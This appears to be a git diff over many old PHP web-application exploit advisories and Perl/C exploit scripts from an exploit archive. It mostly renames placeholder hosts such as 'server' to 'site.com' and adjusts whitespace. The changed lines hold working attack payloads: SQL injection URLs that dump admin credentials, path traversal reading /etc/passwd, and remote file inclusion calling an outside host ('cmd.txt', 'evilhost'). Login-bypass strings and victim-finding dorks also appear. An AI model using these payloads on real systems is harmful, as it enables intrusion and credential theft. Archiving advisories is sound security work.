###### ########## + #### # # ###### ########## # # # # # # # #### # # # # ######### # # # # # ##### ######### # # diff --git a/platforms/php/webapps/6728.txt b/platforms/php/webapps/6728.txt index 3254b9138..db9757ca7 100755 --- a/platforms/php/webapps/6728.txt +++ b/platforms/php/webapps/6728.txt @@ -8,7 +8,7 @@ # Script Site: http://www.easynet4u.com/linkdem.php # # SQL Injection Vuln. : -# Exploit : server/[path]/directory.php?username=demo&ax=list&sub=51&cat_id=51+union+select+0,1,version(),database(),4/* +# Exploit : SITE.COM/[path]/directory.php?username=demo&ax=list&sub=51&cat_id=51+union+select+0,1,version(),database(),4/* # # Example: # http://www.easynet4u.com/homebusiness/directory.php?username=demo&ax=list&sub=51&cat_id=51+union+select+0,1,version(),database(),4/* diff --git a/platforms/php/webapps/673.cgi b/platforms/php/webapps/673.cgi index f4bd8fdda..e1f8a3b7b 100755 --- a/platforms/php/webapps/673.cgi +++ b/platforms/php/webapps/673.cgi @@ -22,7 +22,7 @@ exploit update:ZzagorR</font><br> <table align=left><tr> <form action=? method=post> <input type=hidden name=atak value=phpbb> -<td>Site: </td><td><input type=text name=serv value=$serv size=50><br><font color=blue>example: www.server</font></td></tr> +<td>Site: </td><td><input type=text name=serv value=$serv size=50><br><font color=blue>example: www.site.com</font></td></tr> <tr><td>Klasor: </td><td><input type=text name=dir value=$dir size=50><br><font color=blue>example: /phpBB2/</font></td></tr> <tr><td>TopicNo: </td><td><input type=text name=topic value=$topic size=10><br><font color=blue>example: 1</font></td></tr> <tr><td>Komut: </td><td><input type=text name=cmd value=$cmd size=100><br><font color=blue>example: id</font></td></tr> diff --git a/platforms/php/webapps/6733.txt b/platforms/php/webapps/6733.txt index a19440ed8..4639a2e83 100755 --- a/platforms/php/webapps/6733.txt +++ b/platforms/php/webapps/6733.txt @@ -7,7 +7,7 @@ contact muuratsalo[at]gmail.com exploits 1. local file disclosure -http://localhost/mini-pub.php/front-end/img.php?sFileName=http://server/cmd.txt? +http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt? 2. local file disclosure http://localhost/mini-pub.php/front-end/cat.php?sFileName=/etc/passwd @@ -16,3 +16,4 @@ http://localhost/mini-pub.php/front-end/cat.php?sFileName=/etc/passwd http://localhost/mini-pub.php/front-end/cat.php?sFileName=a%3Benv # milw0rm.com [2008-10-12] + \ No newline at end of file diff --git a/platforms/php/webapps/6734.txt b/platforms/php/webapps/6734.txt index 8fef1c0df..4c3c9b037 100755 --- a/platforms/php/webapps/6734.txt +++ b/platforms/php/webapps/6734.txt @@ -1,4 +1,4 @@ -_____ ____ __ __ _ ____ ____ ____ + _____ ____ __ __ _ ____ ____ ____ |_ _| | _ \ \ \ / / / \ / ___| / ___| / ___| | | | |_) | \ V / / _ \ | | _ | | | | | | | _ < | | / ___ \ | |_| | _ | |___ | |___ diff --git a/platforms/php/webapps/6736.txt b/platforms/php/webapps/6736.txt index 00ae7f03f..ce53ff134 100755 --- a/platforms/php/webapps/6736.txt +++ b/platforms/php/webapps/6736.txt @@ -7,8 +7,8 @@ ################################################################################################# ####### [+] Bug in : index.php ### POC - http://www.server/real-estate/index.php?cat=-5+UNION+SELECT+@@version,2,3/* - http://www.server/real-estate/index.php?cat=-5+UNION+SELECT+user(),2,3/* + http://www.site.com/real-estate/index.php?cat=-5+UNION+SELECT+@@version,2,3/* + http://www.site.com/real-estate/index.php?cat=-5+UNION+SELECT+user(),2,3/* ### Exploit [+] Get User # [+] http://www.real-estate-scripts.com/real-estate/index.php?cat=-5+UNION+SELECT+admin_email,2,3+from+ovi_anuntgratis.class_settings/* diff --git a/platforms/php/webapps/6746.txt b/platforms/php/webapps/6746.txt index 7f531559e..3c06a01b6 100755 --- a/platforms/php/webapps/6746.txt +++ b/platforms/php/webapps/6746.txt @@ -21,11 +21,11 @@ [~]------------------------------------------------------------------------------------------------------------- [~] Exploit :- [~] -[~] http://server/sug_cat.php?parent_id=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())-- +[~] http://site.com/sug_cat.php?parent_id=-1 UNION SELECT concat_ws(0x3a,version(),database(),user())-- [~] -[~] http://server/sug_cat.php?parent_id=-1 UNION ALL SELECT login,password FROM dir_login-- +[~] http://site.com/sug_cat.php?parent_id=-1 UNION ALL SELECT login,password FROM dir_login-- [~] -[~] http://server/sug_cat.php?parent_id=-1 UNION ALL SELECT name,email FROM dir_pend_cat-- +[~] http://site.com/sug_cat.php?parent_id=-1 UNION ALL SELECT name,email FROM dir_pend_cat-- [~] [~] Example :- [~] diff --git a/platforms/php/webapps/6751.txt b/platforms/php/webapps/6751.txt index 0977d16d2..36b35a39b 100755 --- a/platforms/php/webapps/6751.txt +++ b/platforms/php/webapps/6751.txt @@ -16,7 +16,7 @@ http://downloads.sourceforge.net/sezhoo/sezhoo.tar.gz?modtime=1220554562&big_mir Exploit : -http://server/sezhoo/SezHooTabsAndActions.php?IP=Sh3lLz? +http://site.com/sezhoo/SezHooTabsAndActions.php?IP=Sh3lLz? ************************************************************************************** diff --git a/platforms/php/webapps/6754.txt b/platforms/php/webapps/6754.txt index e96d4fd68..1d29cf3fb 100755 --- a/platforms/php/webapps/6754.txt +++ b/platforms/php/webapps/6754.txt @@ -15,7 +15,7 @@ ####### [+] Bug in : success_story.php ## Dork : " Developed by Infoware Solutions " ### POC - http://www.server/success_story.php?id=-2+union+select+1,2,concat(@@version,0x3e,database())-- + http://www.site.com/success_story.php?id=-2+union+select+1,2,concat(@@version,0x3e,database())-- ### Exploit iN L!ve Script # [+] Get Version & Database Name [~] diff --git a/platforms/php/webapps/6762.txt b/platforms/php/webapps/6762.txt index b05125346..619ce1e55 100755 --- a/platforms/php/webapps/6762.txt +++ b/platforms/php/webapps/6762.txt @@ -1,4 +1,4 @@ -___________________________________________________________________________________________________________ + ___________________________________________________________________________________________________________ | _ __ ___ ___ __________________ ___ ___ ____ ______ __ ___ _________________ _______ | | | | / / / / / //_______ _______/ / / / // || ____|| |/ // ___________// \ | | | | ^ / / / /_/ / /__/ / /___ ___ / /_/ // || | | v // /___ / O / | diff --git a/platforms/php/webapps/6763.txt b/platforms/php/webapps/6763.txt index b69fe35bf..0776f1ff9 100755 --- a/platforms/php/webapps/6763.txt +++ b/platforms/php/webapps/6763.txt @@ -1,4 +1,4 @@ -Mosaic Commerce SQL Injection Vulnerability + Mosaic Commerce SQL Injection Vulnerability Discovered By Ali Abbasi[abbasi[At]ustmb.ac.ir] Mazandaran University Of Science And Technology Network Security Research Center diff --git a/platforms/php/webapps/6766.txt b/platforms/php/webapps/6766.txt index 478503a73..76651c879 100755 --- a/platforms/php/webapps/6766.txt +++ b/platforms/php/webapps/6766.txt @@ -29,11 +29,11 @@ Instructions : Find the site running on this script . -Go to http://server/pokerleague/pokeradmin/configure.php +Go to http://site.com/pokerleague/pokeradmin/configure.php It will ask for login. Now in url tab run the exploit command -Then return back to http://server/pokerleague/pokeradmin/configure.php +Then return back to http://site.com/pokerleague/pokeradmin/configure.php Now u should be loggedin as admin and change the thing into what you want . diff --git a/platforms/php/webapps/6770.txt b/platforms/php/webapps/6770.txt index d1db773c2..62b05930e 100755 --- a/platforms/php/webapps/6770.txt +++ b/platforms/php/webapps/6770.txt @@ -12,6 +12,6 @@ http://www.hasemithut.de/downloads/index.php Exploit: -http://server/phpeasydownloader/index.php?file=index.php +http://www.target.com/phpeasydownloader/index.php?file=index.php # milw0rm.com [2008-10-16] diff --git a/platforms/php/webapps/6772.txt b/platforms/php/webapps/6772.txt index 0fecb507b..877ce9e61 100755 --- a/platforms/php/webapps/6772.txt +++ b/platforms/php/webapps/6772.txt @@ -15,7 +15,7 @@ PS : You MUST be logged into the system for the exploit to work. Exploit > -http://server/affiliates/index.php?md=../../../../../../../etc/passwd%00 +http://site.com/affiliates/index.php?md=../../../../../../../etc/passwd%00 Shouts> diff --git a/platforms/php/webapps/6778.pl b/platforms/php/webapps/6778.pl index 2036cc49a..ab6fcd242 100755 --- a/platforms/php/webapps/6778.pl +++ b/platforms/php/webapps/6778.pl @@ -24,7 +24,7 @@ print "\t\t-------------------------------------------------------------\n\n"; use LWP::UserAgent; -print "\nSite ismi Target page:[http://wwww.server/path/]: "; +print "\nSite ismi Target page:[http://wwww.site.com/path/]: "; chomp(my $target=<STDIN>); $column_name="concat(uname,0x3a,pass)"; diff --git a/platforms/php/webapps/6806.txt b/platforms/php/webapps/6806.txt index 0f5f2407a..2660aa07f 100755 --- a/platforms/php/webapps/6806.txt +++ b/platforms/php/webapps/6806.txt @@ -25,7 +25,7 @@ eNYe-Sec - www.enye-sec.org -- Exploit -- -http://server/frame.php?btnStartImport=xxx&importFunction=../../../../../etc/passwd%00 +http://site.com/frame.php?btnStartImport=xxx&importFunction=../../../../../etc/passwd%00 NOTE: website only works with Firefox. To navigate you must use Firefox and to exploit it, you only have to change the user-agent. diff --git a/platforms/php/webapps/6816.txt b/platforms/php/webapps/6816.txt index 01a8a7287..a244ec1c7 100755 --- a/platforms/php/webapps/6816.txt +++ b/platforms/php/webapps/6816.txt @@ -21,6 +21,6 @@ eNYe-Sec - www.enye-sec.org -- Exploit -- -http://server/ADMIN/header.php?language=/../../../../../etc/passwd%00 +http://site.com/ADMIN/header.php?language=/../../../../../etc/passwd%00 # milw0rm.com [2008-10-23] diff --git a/platforms/php/webapps/6820.pl b/platforms/php/webapps/6820.pl index e93d57aa8..d6c34caf2 100755 --- a/platforms/php/webapps/6820.pl +++ b/platforms/php/webapps/6820.pl @@ -60,7 +60,7 @@ print " \n"; if ($#ARGV + 1 != 3) { print "Usage: ./xpl.pl <Target URL> <user> <pass>\n"; - print "Ex. ./xpl.pl http://server/gallery/ cwhuser cwhpass\n"; + print "Ex. ./xpl.pl http://www.target.com/gallery/ cwhuser cwhpass\n"; exit(); } diff --git a/platforms/php/webapps/6822.txt b/platforms/php/webapps/6822.txt index 145d610a9..64c4ef480 100755 --- a/platforms/php/webapps/6822.txt +++ b/platforms/php/webapps/6822.txt @@ -1,4 +1,4 @@ -WebSVN <= 2.0 Multiple Vulnerabilities + WebSVN <= 2.0 Multiple Vulnerabilities October 20, 2008 Vendor : Tim Armes diff --git a/platforms/php/webapps/6833.txt b/platforms/php/webapps/6833.txt index 4dd3b95ec..8de2a6fe4 100755 --- a/platforms/php/webapps/6833.txt +++ b/platforms/php/webapps/6833.txt @@ -1,4 +1,4 @@ -___________________________________________________________________________________________________________ + ___________________________________________________________________________________________________________ | _ __ ___ ___ __________________ ___ ___ ____ ______ __ ___ _________________ _______ | | | | / / / / / //_______ _______/ / / / // || ____|| |/ // ___________// \ | | | | ^ / / / /_/ / /__/ / /___ ___ / /_/ // || | | v // /___ / O / | diff --git a/platforms/php/webapps/6835.txt b/platforms/php/webapps/6835.txt index ccd1a3874..6340fc55c 100755 --- a/platforms/php/webapps/6835.txt +++ b/platforms/php/webapps/6835.txt @@ -1,4 +1,4 @@ -++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + + BuzzyWall Remote File Disclosure Vulnerability + + + diff --git a/platforms/php/webapps/6844.pl b/platforms/php/webapps/6844.pl index 635044e32..66a263cb1 100755 --- a/platforms/php/webapps/6844.pl +++ b/platforms/php/webapps/6844.pl @@ -32,8 +32,8 @@ print " ******************************************\n\n"; if (@ARGV != 1) { &help; exit(); } sub help(){ - print " [?] Use : perl $0 server\n"; - print " perl $0 server/path\n\n"; + print " [?] Use : perl $0 www.target.com\n"; + print " perl $0 www.target.com/path\n\n"; } if ($ARGV[0] =~ /http:\/\// ) { $target = $ARGV[0]."/"; } else { $target = "http://".$ARGV[0]."/"; } diff --git a/platforms/php/webapps/6865.txt b/platforms/php/webapps/6865.txt index dd90f6692..a5a2a11cd 100755 --- a/platforms/php/webapps/6865.txt +++ b/platforms/php/webapps/6865.txt @@ -1,4 +1,4 @@ -_____ ____ __ __ _ ____ ____ ____ + _____ ____ __ __ _ ____ ____ ____ |_ _| | _ \ \ \ / / / \ / ___| / ___| / ___| | | | |_) | \ V / / _ \ | | _ | | | | | | | _ < | | / ___ \ | |_| | _ | |___ | |___ @@ -12,7 +12,7 @@ I- Remote File Disclosure / Write File II- Remote File Upload /e107_plugins/fm_pro_v1/fmp.php?fm_dir=&fm_action=confirm_upload_file You Can Upload PHP File -Get File in server/{path e107}/[name your file - as - 020.php] +Get File in site.com/{path e107}/[name your file - as - 020.php] III- Local Directory Traversal /e107_plugins/fm_pro_v1/fmp.php?fm_dir=e107_admin diff --git a/platforms/php/webapps/6866.pl b/platforms/php/webapps/6866.pl index aaee2dc91..8eacb7da4 100755 --- a/platforms/php/webapps/6866.pl +++ b/platforms/php/webapps/6866.pl @@ -22,7 +22,7 @@ print <<INTRO; +++++++++++++++++++++++++++++++++++++++++++++++++++++ INTRO -print "\nEnter URL(ie: http://server/shop): "; +print "\nEnter URL(ie: http://site.com/shop): "; chomp(my $url=<STDIN>); print "\nEnter File Path(path to local file to upload): "; diff --git a/platforms/php/webapps/6867.pl b/platforms/php/webapps/6867.pl index a85608f92..20171b7b6 100755 --- a/platforms/php/webapps/6867.pl +++ b/platforms/php/webapps/6867.pl @@ -33,7 +33,7 @@ print <<INTRO; # messy print i know.. INTRO -print "\nEnter URL(ie: http://server/mambo): "; +print "\nEnter URL(ie: http://site.com/mambo): "; chomp(my $url=<STDIN>); print "\nEnter File Path(path to local file to upload): "; diff --git a/platforms/php/webapps/6868.pl b/platforms/php/webapps/6868.pl index 56bf78f6f..f9156aab8 100755 --- a/platforms/php/webapps/6868.pl +++ b/platforms/php/webapps/6868.pl @@ -40,7 +40,7 @@ print <<INTRO; INTRO -print "\nEnter URL(ie: http://server/mambo): "; +print "\nEnter URL(ie: http://site.com/mambo): "; chomp(my $url=<STDIN>); print "\nEnter File Path(path to local file to upload): "; diff --git a/platforms/php/webapps/6869.txt b/platforms/php/webapps/6869.txt index 547cb0e3d..80fe83666 100755 --- a/platforms/php/webapps/6869.txt +++ b/platforms/php/webapps/6869.txt @@ -35,7 +35,7 @@ [*] SQL Injection: - First find a vulnerable site, Then goto http://server/webcards/admin.php + First find a vulnerable site, Then goto http://site.com/webcards/admin.php Enter the following in the username textbox: admin" and ""=" Enter the following in the password textbox: 1 diff --git a/platforms/php/webapps/6876.txt b/platforms/php/webapps/6876.txt index a9424a7f5..68642acf8 100755 --- a/platforms/php/webapps/6876.txt +++ b/platforms/php/webapps/6876.txt @@ -23,7 +23,7 @@ Sql injection ============= -Exploit: http://server/www_en/cadena_ofertas_ext.php?OfertaID= [sql] +Exploit: http://site.com/www_en/cadena_ofertas_ext.php?OfertaID= [sql] Demo : http://demo.hotelsadmin.com/www_en/cadena_ofertas_ext.php?OfertaID=-1+union+all+select+1,2,3,concat(username,password),5,6,7,8,9,10,11+from+members/* diff --git a/platforms/php/webapps/6888.txt b/platforms/php/webapps/6888.txt index 34586cd13..2e0bcecc0 100755 --- a/platforms/php/webapps/6888.txt +++ b/platforms/php/webapps/6888.txt @@ -1,4 +1,4 @@ -_____ ____ __ __ _ ____ ____ ____ + _____ ____ __ __ _ ____ ____ ____ |_ _| | _ \ \ \ / / / \ / ___| / ___| / ___| | | | |_) | \ V / / _ \ | | _ | | | | | | | _ < | | / ___ \ | |_| | _ | |___ | |___ diff --git a/platforms/php/webapps/6905.txt b/platforms/php/webapps/6905.txt index 37dd5ef2d..b1a6ac843 100755 --- a/platforms/php/webapps/6905.txt +++ b/platforms/php/webapps/6905.txt @@ -12,7 +12,7 @@ # # SQL Injection Vuln. : # -# Exploit : server/[path]/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/* +# Exploit : SITE.COM/[path]/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/* # # Example: http://hostdir.scripts-for-sites.com/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/* # diff --git a/platforms/php/webapps/6906.txt b/platforms/php/webapps/6906.txt index 3191040c0..d1e0cfa3e 100755 --- a/platforms/php/webapps/6906.txt +++ b/platforms/php/webapps/6906.txt @@ -12,7 +12,7 @@ # # SQL Injection Vuln. : # -# Exploit : server/[path]/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/* +# Exploit : SITE.COM/[path]/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/* # # Example: http://game.scripts-for-sites.com/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/* # diff --git a/platforms/php/webapps/6907.txt b/platforms/php/webapps/6907.txt index 6b3cc6b3d..fbc1ae3d0 100755 --- a/platforms/php/webapps/6907.txt +++ b/platforms/php/webapps/6907.txt @@ -12,7 +12,7 @@ # # SQL Injection Vuln. : # -# Exploit : server/[path]/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/* +# Exploit : SITE.COM/[path]/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/* # # Example: http://homebiz.scripts-for-sites.com/directory.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/* # diff --git a/platforms/php/webapps/6908.txt b/platforms/php/webapps/6908.txt index 7bcf8e24c..cabfd3e1f 100755 --- a/platforms/php/webapps/6908.txt +++ b/platforms/php/webapps/6908.txt @@ -14,7 +14,7 @@ # # SQL Injection Vuln. : # -# Exploit : server/[path]/links.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/* +# Exploit : SITE.COM/[path]/links.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/* # # Example: http://link.scripts-for-sites.com/links.php?ax=list&sub=1&cat_id=1+union+select+0,1,version(),database()/* # diff --git a/platforms/php/webapps/6930.txt b/platforms/php/webapps/6930.txt index 5d3891121..6d7bdd5df 100755 --- a/platforms/php/webapps/6930.txt +++ b/platforms/php/webapps/6930.txt @@ -1,4 +1,4 @@ -# Bl@ckbe@rD ('Tunisian TerrorisT') # + # Bl@ckbe@rD ('Tunisian TerrorisT') # # ===================== # ----------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/6936.txt b/platforms/php/webapps/6936.txt index 522313dc2..ac42b04db 100755 --- a/platforms/php/webapps/6936.txt +++ b/platforms/php/webapps/6936.txt @@ -1,4 +1,4 @@ -Banner Management (id) Remote SQL Injection Vulnerability + Banner Management (id) Remote SQL Injection Vulnerability ___________________________________ Author: Hussin X diff --git a/platforms/php/webapps/6958.txt b/platforms/php/webapps/6958.txt index 39719d0bd..883b425c6 100755 --- a/platforms/php/webapps/6958.txt +++ b/platforms/php/webapps/6958.txt @@ -22,9 +22,9 @@ [~]------------------------------------------------------------------------------------------------------------- [~] Exploit :- [~] -[~] http://server/prodshow.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7 +[~] http://site.com/prodshow.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7 [~] -[~] http://server/prodshow.php?id=1 UNION SELECT 1,concat(user_password,char(58),user_name),3,4,5,6,7 FROM administrators +[~] http://site.com/prodshow.php?id=1 UNION SELECT 1,concat(user_password,char(58),user_name),3,4,5,6,7 FROM administrators [~]---------------------------------------------------------------------------------------------------------------------- # milw0rm.com [2008-11-02] diff --git a/platforms/php/webapps/697.c b/platforms/php/webapps/697.c index 7b776015f..9616b4a28 100755 --- a/platforms/php/webapps/697.c +++ b/platforms/php/webapps/697.c @@ -11,9 +11,9 @@ slythers@gmail.com php bug in ext/standart/var_unserializer.c http://www.securityfocus.com/archive/1/384663/2004-12-13/2004-12-19/0 for read heap memorie with phpbb2 ;> - tested : phpbbmemorydump.exe "http://server/phpbb/" 30000 -cookiename=phpbb2support > a.txt + tested : phpbbmemorydump.exe "http://site.com/phpbb/" 30000 -cookiename=phpbb2support > a.txt result: - - string detected : /home/virtual/server/phpBB/config.php + - string detected : /home/virtual/site.com/phpBB/config.php - string detected : dbname - string detected : PT_N - string detected : phpbb @@ -24,7 +24,7 @@ - string detected : table_prefix - string detected : phpbb_ use like : - phpbbmemorydump.exe "http://server/phpbb2/" nboctettoreadinheap [repeat/display_all_heap] [-cookiename=phpbb2mysql] + phpbbmemorydump.exe "http://site.com/phpbb2/" nboctettoreadinheap [repeat/display_all_heap] [-cookiename=phpbb2mysql] greetz: my crew MWA pull the plug , vortex challenge @@ -110,7 +110,7 @@ int main(int argc,char **argv) if(argc < 3) { - cout <<"Example: phpbbmemorydump.exe http://server/phpbb/ 30000 -cookiename=phpbb2support > a.txt"<<endl; + cout <<"Example: phpbbmemorydump.exe http://site.com/phpbb/ 30000 -cookiename=phpbb2support > a.txt"<<endl; return 0; }; diff --git a/platforms/php/webapps/6973.txt b/platforms/php/webapps/6973.txt index 383c76cff..37a35a467 100755 --- a/platforms/php/webapps/6973.txt +++ b/platforms/php/webapps/6973.txt @@ -21,7 +21,7 @@ [~]------------------------------------------------------------------------------------------------------------- [~] Exploit :- [~] -[~] http://server/index.php?content=../../../../../../../../../../../../../../etc/passwd%00 +[~] http://site.com/index.php?content=../../../../../../../../../../../../../../etc/passwd%00 [~] [~] Ex :- diff --git a/platforms/php/webapps/6980.txt b/platforms/php/webapps/6980.txt index 113c5e6e9..dcc3dce37 100755 --- a/platforms/php/webapps/6980.txt +++ b/platforms/php/webapps/6980.txt @@ -21,7 +21,7 @@ [~]------------------------------------------------------------------------------------------------------ [~] Exploit :- [~] -[~] http://server/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd +[~] http://site.com/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd [~] [~] Ex :- v 1.2 [~] diff --git a/platforms/php/webapps/6992.txt b/platforms/php/webapps/6992.txt index cdd83f7e4..1b4b1d98a 100755 --- a/platforms/php/webapps/6992.txt +++ b/platforms/php/webapps/6992.txt @@ -1,4 +1,4 @@ -:::::::-. ... ::::::. :::. + :::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ @@ -16,7 +16,7 @@ # Script site: http://wotw.altervista.org/ # Download: http://sourceforge.net/project/platformdownload.php?group_id=178414 # - # [LFI] Vuln: http://server/wotw_5.0_en/visualizza.php?plancia=../../../../../../etc/passwd%00 + # [LFI] Vuln: http://site.com/wotw_5.0_en/visualizza.php?plancia=../../../../../../etc/passwd%00 # # Bug: ./wotw_5.0_en/visualizza.php (line: 17) # @@ -25,7 +25,7 @@ # ... # # - # [RFI] Vuln: http://server/wotw_5.0_en/crea.php?plancia=[spread?] + # [RFI] Vuln: http://site.com/wotw_5.0_en/crea.php?plancia=[spread?] # # Bug: ./wotw_5.0_en/visualizza.php (lines: 12-19) # diff --git a/platforms/php/webapps/7004.txt b/platforms/php/webapps/7004.txt index 03026877c..0cae3c623 100755 --- a/platforms/php/webapps/7004.txt +++ b/platforms/php/webapps/7004.txt @@ -1,4 +1,4 @@ -Pre Simple CMS (Auth Bypass) SQL Injection Vulnerability + Pre Simple CMS (Auth Bypass) SQL Injection Vulnerability ___________________________________ Author: Hussin X diff --git a/platforms/php/webapps/7009.txt b/platforms/php/webapps/7009.txt index 63fbdf911..1cba7fdf0 100755 --- a/platforms/php/webapps/7009.txt +++ b/platforms/php/webapps/7009.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/7010.txt b/platforms/php/webapps/7010.txt index 4da96a1ad..e7ec996eb 100755 --- a/platforms/php/webapps/7010.txt +++ b/platforms/php/webapps/7010.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/7011.pl b/platforms/php/webapps/7011.pl index 423abafcf..c80b43995 100755 --- a/platforms/php/webapps/7011.pl +++ b/platforms/php/webapps/7011.pl @@ -43,7 +43,7 @@ GetOptions \%parms, "s=s", "d", "x=s", "u=s", "p=s"; if( !$parms{s} ) { die <<HELP [ii] usage: $0 <parms> - [-s] Site -> http://server/forums + [-s] Site -> http://site.com/forums [-x] Proxy -> localhost:8118 [-u] Username -> Gl0ria!!! [-p] Password -> gl0ria\@herb3st diff --git a/platforms/php/webapps/7012.txt b/platforms/php/webapps/7012.txt index 63a71cf56..3e113f1ca 100755 --- a/platforms/php/webapps/7012.txt +++ b/platforms/php/webapps/7012.txt @@ -4,10 +4,10 @@ by Nine:Situations:Group::strawdog our site: http://retrogod.altervista.org -software site: http://www.hmailserver/ +software site: http://www.hmailserver.com/ description: http://en.wikipedia.org/wiki/HMailServer -------------------------------------------------------------------------------- -google dork: "PHPWebAdmin for hMailServer" intitle:PHPWebAdmin -site:hmailserver -dork +google dork: "PHPWebAdmin for hMailServer" intitle:PHPWebAdmin -site:hmailserver.com -dork poc: diff --git a/platforms/php/webapps/7013.txt b/platforms/php/webapps/7013.txt index 458c7da15..610e6e826 100755 --- a/platforms/php/webapps/7013.txt +++ b/platforms/php/webapps/7013.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/7014.txt b/platforms/php/webapps/7014.txt index 5c2c59b88..790253865 100755 --- a/platforms/php/webapps/7014.txt +++ b/platforms/php/webapps/7014.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| @@ -43,7 +43,7 @@ <<->> Exploit <<->> - >>>> www.server/article_details.php?aid=[sql] + >>>> www.site.com/article_details.php?aid=[sql] <<->> Exploit <<->> bypass <<->> in admin panel diff --git a/platforms/php/webapps/7015.txt b/platforms/php/webapps/7015.txt index 6b5a9c67d..c2a010774 100755 --- a/platforms/php/webapps/7015.txt +++ b/platforms/php/webapps/7015.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/7016.txt b/platforms/php/webapps/7016.txt index 15d7f6534..57760b9a3 100755 --- a/platforms/php/webapps/7016.txt +++ b/platforms/php/webapps/7016.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| @@ -43,8 +43,8 @@ <<->> Exploit <<->> - >>>> www.server/gallery_category.php?cat_id=[sql] - >>>> www.server/gallery_photo.php?photo_id=[sql] + >>>> www.site.com/gallery_category.php?cat_id=[sql] + >>>> www.site.com/gallery_photo.php?photo_id=[sql] <<->> Exploit <<->> bypass <<->> in admin panel diff --git a/platforms/php/webapps/703.pl b/platforms/php/webapps/703.pl index 726f75d7d..1532a278b 100755 --- a/platforms/php/webapps/703.pl +++ b/platforms/php/webapps/703.pl @@ -93,8 +93,8 @@ print "/*\n"; print " * sploit remote phpMychat\n"; print " * by sysbug\n"; print " * usage: perl $0 xpl.pl <host>\n"; -print " * example: perl $0 xpl.pl www.server\n"; -print " * perl $0 xpl.pl www.server /chat\n"; +print " * example: perl $0 xpl.pl www.site.com\n"; +print " * perl $0 xpl.pl www.site.com /chat\n"; print " */\n"; exit; } diff --git a/platforms/php/webapps/7030.txt b/platforms/php/webapps/7030.txt index 135629b96..f6c041fed 100755 --- a/platforms/php/webapps/7030.txt +++ b/platforms/php/webapps/7030.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| 4_|_|| o_w_, ( : / (_) / ( . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| diff --git a/platforms/php/webapps/704.pl b/platforms/php/webapps/704.pl index 4c2eddd23..9cbc82a13 100755 --- a/platforms/php/webapps/704.pl +++ b/platforms/php/webapps/704.pl @@ -14,13 +14,13 @@ # with this sploit u can send an include() vuln to a Host victim # the upload go to /images/evil.php # -# C:\Perl\bin>perl sploit.pl www.server +# C:\Perl\bin>perl sploit.pl www.site.com # -=[ e107 remote sploit ]=- # by sysbug -# # www.server +# # www.site.com # # OWNED OH YEAH! # # get your evilc0de in: -# # www.server/images/evil.php?owned=http://evilhost/ +# # www.site.com/images/evil.php?owned=http://evilhost/ # C:\Perl\bin> # # credits: ALL MY FRIENDS! diff --git a/platforms/php/webapps/7049.txt b/platforms/php/webapps/7049.txt index f69adcf0f..4e08189e9 100755 --- a/platforms/php/webapps/7049.txt +++ b/platforms/php/webapps/7049.txt @@ -12,11 +12,11 @@ download from:http://www.smolinari.com/srm/download/mwcal/mwcal.zip?PHPSESSID=84 ...................................................................................... local file xpl: -http://www.server/mwcal/php/cal_pdf.php?thefile=/etc/passwd +http://www.site.com/mwcal/php/cal_pdf.php?thefile=/etc/passwd xss xpl: 